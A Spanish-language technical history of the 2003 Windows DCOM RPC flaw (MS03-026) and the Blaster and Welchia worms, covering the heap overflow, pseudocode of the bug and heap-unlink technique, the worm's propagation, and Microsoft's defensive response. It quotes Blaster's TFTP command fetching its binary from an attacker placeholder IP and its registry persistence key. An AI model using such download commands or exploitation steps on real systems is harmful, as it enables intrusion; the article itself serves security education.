MS03-026: DCOM RPC y el Nacimiento de Blaster (2003)
Análisis técnico de CVE-2003-0352, el buffer overflow en la interfaz DCOM RPC de Windows que permitió al gusano Blaster infectar cientos de miles de máquinas en agosto de 2003. Cómo funcionaba el heap overflow en RPCSS, el mensaje a Bill Gates, el temporizador de 60 segundos, y Welchia, el gusano que intentó parchear Internet.
Un mes entre el parche y el caos
El 16 de julio de 2003, Microsoft publicó el boletín de seguridad MS03-026 con calificación "Crítica". Describía un buffer overflow en la interfaz DCOM del servicio RPC de Windows que permitía ejecución remota de código sin autenticación. Afectaba a Windows NT 4.0, 2000, XP y Server 2003. Todas las versiones de escritorio y servidor de Windows con presencia significativa en el mercado.
Nueve días después, el grupo de investigación polaco LSD publicó un análisis técnico y un exploit funcional. El 11 de agosto, menos de un mes después del parche, el gusano Blaster (también conocido como MSBlast o Lovesan) comenzó a propagarse. En su primera semana infectó más de 400.000 máquinas. El ciclo parche, exploit, gusano se completó en 26 días, estableciendo un patrón que definiría la seguridad de Windows durante años.
La vulnerabilidad: CVE-2003-0352
DCOM y RPC: la superficie de ataque
Para entender la vulnerabilidad hay que entender la arquitectura. COM (Component Object Model) es el sistema de comunicación entre objetos de Windows. DCOM (Distributed COM) extiende COM para que funcione a través de la red. Cuando una aplicación en la máquina A necesita invocar un método en un objeto COM de la máquina B, DCOM utiliza RPC (Remote Procedure Call) como protocolo de transporte.
El servicio RPCSS (RPC System Service) gestiona todas las comunicaciones RPC del sistema, incluyendo la activación de objetos DCOM. Escucha en múltiples puertos: TCP 135 (el endpoint mapper principal), TCP 139 y 445 (a través de named pipes SMB), y puertos dinámicos asignados por el endpoint mapper.
En Windows 2000 y XP, RPCSS estaba habilitado por defecto y accesible desde la red sin autenticación para las operaciones de activación DCOM. No existía un firewall habilitado por defecto que bloqueara el acceso al puerto 135. Cualquier máquina Windows conectada directamente a Internet exponía este servicio.
El heap overflow en la interfaz de activación
La vulnerabilidad residía específicamente en el manejo de mensajes RPC malformados en la interfaz de activación DCOM. El servicio RPCSS procesaba las solicitudes de activación de objetos DCOM sin validar correctamente la longitud de ciertos campos en el mensaje RPC.
Cuando un atacante enviaba un mensaje RPC especialmente construido con campos de longitud excesiva al puerto TCP 135, se producía un heap buffer overflow en el proceso RPCSS (svchost.exe). El overflow ocurría porque el código de marshalling/unmarshalling de los parámetros RPC copiaba datos en un búfer del heap sin verificar que el tamaño de los datos no excediera el tamaño asignado al búfer.
El flujo técnico del exploit:
- Conexión: el atacante establece una conexión TCP al puerto 135 de la víctima
- Bind request: solicita acceso a la interfaz DCOM (IRemoteActivation)
- Request malformado: envía un paquete RPC de activación con un campo de tipo string que contiene datos de longitud excesiva
- Overflow: el servicio RPCSS copia los datos en un búfer del heap sin validar la longitud, sobrescribiendo estructuras de metadatos del heap adyacentes
- Control del flujo de ejecución: la sobrescritura de metadatos del heap permite al atacante redirigir la ejecución del programa cuando se produce la siguiente operación de asignación o liberación de memoria
A diferencia de un stack overflow clásico (donde se sobrescribe la dirección de retorno), un heap overflow requiere técnicas más sofisticadas. El exploit original de LSD sobrescribía la cabecera de un bloque libre del heap de Windows (RtlHeap), manipulando los punteros de la lista doblemente enlazada de bloques libres. Cuando el asignador de memoria intentaba desenlazar el bloque corrupto, escribía un valor controlado por el atacante en una dirección también controlada por el atacante (una primitiva write-what-where).
El destino típico de esta escritura era la tabla de vectores de excepciones o un puntero de función en una estructura del proceso, redirigiendo la ejecución al shellcode del atacante.
Consecuencias de la explotación
Una vez lograda la ejecución de código, el atacante obtenía privilegios de SYSTEM (el nivel más alto en Windows), porque RPCSS se ejecutaba dentro de un proceso svchost.exe que corría bajo la cuenta LocalSystem. Desde ahí, el atacante tenía control total sobre la máquina.
El gusano Blaster
Anatomía de la infección
El gusano Blaster (variante A) era un ejecutable de Windows de aproximadamente 6 KB llamado msblast.exe. Su comportamiento seguía un patrón directo:
Fase de escaneo: el gusano generaba direcciones IP para escanear. Utilizaba un algoritmo que combinaba subredes del segmento local (con el 40% de probabilidad) y direcciones aleatorias (60% de probabilidad). Enviaba paquetes SYN al puerto TCP 135 para identificar máquinas con RPCSS accesible.
Fase de explotación: para cada máquina que respondía en el puerto 135, el gusano enviaba el exploit para CVE-2003-0352. El exploit incluía shellcode que abría un shell remoto en el puerto TCP 4444 de la máquina víctima.
Fase de transferencia: el gusano se conectaba al shell abierto en la víctima y ejecutaba un comando para descargar msblast.exe desde la máquina atacante usando TFTP (Trivial File Transfer Protocol) en el puerto UDP 69:
tftp -i [IP_atacante] GET msblast.exe
Fase de persistencia: una vez descargado, el gusano se registraba en el registro de Windows para ejecutarse en cada arranque:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"windows auto update" = "msblast.exe"
Fase de payload: el gusano contenía código para lanzar un ataque de denegación de servicio (DDoS) contra windowsupdate.com a partir del 16 de agosto de 2003. Microsoft redirigió el dominio para mitigar el ataque.
El mensaje a Billy Gates
El binario de Blaster contenía dos cadenas de texto que se hicieron famosas:
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
El mensaje capturaba el sentimiento de frustración de la comunidad técnica con la seguridad de Windows. DCOM estaba expuesto por defecto, no había firewall activo, y una vulnerabilidad crítica en un servicio de sistema permitía compromiso total sin interacción del usuario. El hecho de que un adolescente pudiera modificar el gusano para crear variantes (como hizo Jeffrey Parson con Blaster.B) demostraba lo accesible que era la explotación.
El temporizador de 60 segundos
Uno de los efectos más visibles de Blaster (y el que más usuarios recordaron) era el reinicio forzado del sistema. El exploit no siempre tenía éxito limpio. En muchos casos, el heap overflow corrompía el proceso RPCSS sin lograr ejecución de código controlada, lo que causaba que el servicio RPC se terminara abruptamente.
Windows respondía al fallo de RPCSS mostrando un cuadro de diálogo que decía:
Windows must now restart because the Remote Procedure Call (RPC) service
terminated unexpectedly.
This system is shutting down. Save all work in progress and log off.
Any unsaved changes will be lost. This shutdown was initiated by
NT AUTHORITY\SYSTEM
Time before shutdown: 00:00:60
Un temporizador de 60 segundos contaba hacia atrás, y el sistema se reiniciaba automáticamente. Los usuarios podían detener la cuenta atrás ejecutando shutdown /a en la línea de comandos, pero la mayoría de usuarios domésticos no conocían este comando. El resultado era un ciclo de reinicio: el sistema arrancaba, se exponía a la red, recibía el exploit, RPCSS fallaba, y la cuenta atrás comenzaba de nuevo.
Welchia/Nachi: el gusano que intentó curar Internet
El 18 de agosto de 2003, una semana después de Blaster, apareció un segundo gusano que explotaba la misma vulnerabilidad. Welchia (también conocido como Nachi o W32.Welchia.Worm) era radicalmente diferente en su intención:
- Eliminaba Blaster: buscaba y terminaba el proceso
msblast.exe, y borraba el archivo del disco - Parcheaba la vulnerabilidad: descargaba el parche MS03-026 desde el sitio web de Microsoft y lo instalaba automáticamente
- Se autoeliminaba: contenía código para desinstalarse el 1 de enero de 2004
Para propagarse, Welchia utilizaba dos vectores: la misma vulnerabilidad MS03-026 (para llegar a máquinas no parcheadas) y una vulnerabilidad en el servicio WebDAV de IIS (CVE-2003-0109). Antes de intentar la infección, enviaba un ping ICMP para verificar que la máquina objetivo estaba activa.
El concepto de un "gusano bueno" o "gusano ético" generó un debate intenso en la comunidad de seguridad. En teoría, Welchia hacía exactamente lo que un administrador de sistemas querría: eliminar la infección y aplicar el parche. En la práctica, causó problemas significativos:
Congestión de red: el tráfico de escaneo de Welchia (los pings ICMP y las conexiones al puerto 135) saturó redes corporativas y militares. La red interna de la Marina de los Estados Unidos sufrió interrupciones significativas por el volumen de tráfico generado por Welchia.
Carga en servidores de Microsoft: la descarga masiva y simultánea del parche desde millones de máquinas infectadas generó una carga enorme en los servidores de Windows Update.
Problemas de fiabilidad: no todas las instalaciones del parche completaban correctamente. Algunos sistemas quedaban en un estado inconsistente tras el parcheado automático.
Precedente peligroso: si se aceptaba que era legítimo comprometer máquinas ajenas "por su propio bien", se abría la puerta a justificaciones similares para accesos no autorizados.
La lección de Welchia fue clara: la intención no justifica el método. Comprometer sistemas sin autorización es ilegítimo independientemente del payload, y la propagación no controlada causa daño colateral aunque el objetivo sea benéfico.
Análisis técnico del exploit
La interfaz IRemoteActivation
La interfaz vulnerable era IRemoteActivation (también conocida como ISystemActivator), identificada por su UUID 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57. Esta interfaz maneja las solicitudes de activación remota de objetos DCOM.
El método vulnerable procesaba la estructura ORPCTHIS, que contiene metadatos sobre la solicitud RPC. Dentro de esta estructura, un campo de tipo string (que representaba el nombre del servidor) se copiaba en un búfer del heap sin validación de longitud:
// Pseudocódigo simplificado de la función vulnerable
HRESULT ProcessActivation(ORPCTHIS *pORPCthis) {
WCHAR *serverName = HeapAlloc(GetProcessHeap(), 0, FIXED_SIZE);
// BUG: copia sin verificar que la longitud del string
// no exceda FIXED_SIZE
wcscpy(serverName, pORPCthis->extensions->serverName);
// ...
}
La función wcscpy (wide character string copy) copia caracteres hasta encontrar un terminador nulo, sin límite de longitud. Si el string del atacante excedía FIXED_SIZE, la copia desbordaba el búfer y corrompía las estructuras de metadatos del heap contiguas.
Explotación del heap de Windows
El heap de Windows (RtlHeap) organiza la memoria libre en listas doblemente enlazadas. Cada bloque libre tiene una cabecera que contiene punteros Flink (forward link) y Blink (backward link). Cuando el asignador de memoria desenlaza un bloque libre para satisfacer una solicitud de asignación, ejecuta la operación:
// Operación de desenlace (unlink)
Flink->Blink = Blink;
Blink->Flink = Flink;
Si el atacante sobrescribe Flink y Blink con valores controlados, la operación de desenlace se convierte en una escritura arbitraria: el valor de Blink se escribe en la dirección apuntada por Flink + offset(Blink), y viceversa.
El exploit de LSD utilizaba esta primitiva para sobrescribir un puntero de función del Unhandled Exception Filter (UEF) de Windows, redirigiendo la ejecución al shellcode cuando se producía una excepción subsiguiente.
Impacto en la industria
Escala de la infección
Los números de Blaster fueron impresionantes para la época:
- Más de 400.000 máquinas infectadas en la primera semana
- El pico de infección alcanzó los 8 millones de sistemas según algunas estimaciones
- El tráfico generado por el escaneo del puerto 135 fue visible en los monitores de tráfico global de Internet
Respuesta de Microsoft
Blaster aceleró varias iniciativas que Microsoft ya tenía en marcha dentro del programa Trustworthy Computing:
Windows XP Service Pack 2 (agosto 2004): el cambio más significativo fue habilitar el firewall de Windows por defecto, bloqueando el acceso externo a puertos como el 135. También incluyó DEP (Data Execution Prevention), que dificultaba la ejecución de shellcode en el heap.
Actualizaciones automáticas: Microsoft reforzó Windows Update para que las actualizaciones de seguridad críticas se descargaran e instalaran automáticamente. Antes de Blaster, muchos usuarios nunca ejecutaban Windows Update.
DCOM hardening: las versiones posteriores de Windows requirieron autenticación para las operaciones DCOM y restringieron el acceso al endpoint mapper RPC.
Security Development Lifecycle (SDL): Microsoft formalizó su proceso de desarrollo seguro, que incluía modelado de amenazas, revisión de código y fuzzing como pasos obligatorios en el ciclo de desarrollo.
Análisis MITRE ATT&CK
| Fase del ataque | Técnica ATT&CK | Descripción |
|---|---|---|
| Acceso inicial | T1190 (Exploit Public-Facing Application) | Heap overflow en RPCSS (puerto 135) |
| Ejecución | T1059.003 (Windows Command Shell) | Comandos shell via backdoor puerto 4444 |
| Persistencia | T1547.001 (Registry Run Keys) | Clave Run en HKLM para persistencia |
| Propagación | T1210 (Exploitation of Remote Services) | Escaneo y explotación automática de nuevas víctimas |
| Comando y control | T1071 (Application Layer Protocol) | TFTP para transferencia del binario |
| Impacto | T1498 (Network Denial of Service) | DDoS planificado contra windowsupdate.com |
El patrón que se repetiría
MS03-026 y Blaster establecieron un patrón que se repitió con variaciones durante los años siguientes: vulnerabilidad crítica en servicio de red de Windows, parche publicado, exploit público en días o semanas, gusano automatizado en semanas o meses. Sasser en 2004, Conficker en 2008, y en menor medida WannaCry en 2017 siguieron la misma dinámica.
La diferencia fundamental entre 2003 y hoy es el firewall habilitado por defecto. Antes de XP SP2, una máquina Windows recién instalada y conectada a Internet era accesible en todos sus puertos. Blaster demostró, con cientos de miles de máquinas comprometidas, que esta configuración era insostenible. El firewall por defecto, una medida aparentemente simple, eliminó la categoría completa de gusanos de red que explotaban servicios internos de Windows.
Preguntas frecuentes
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.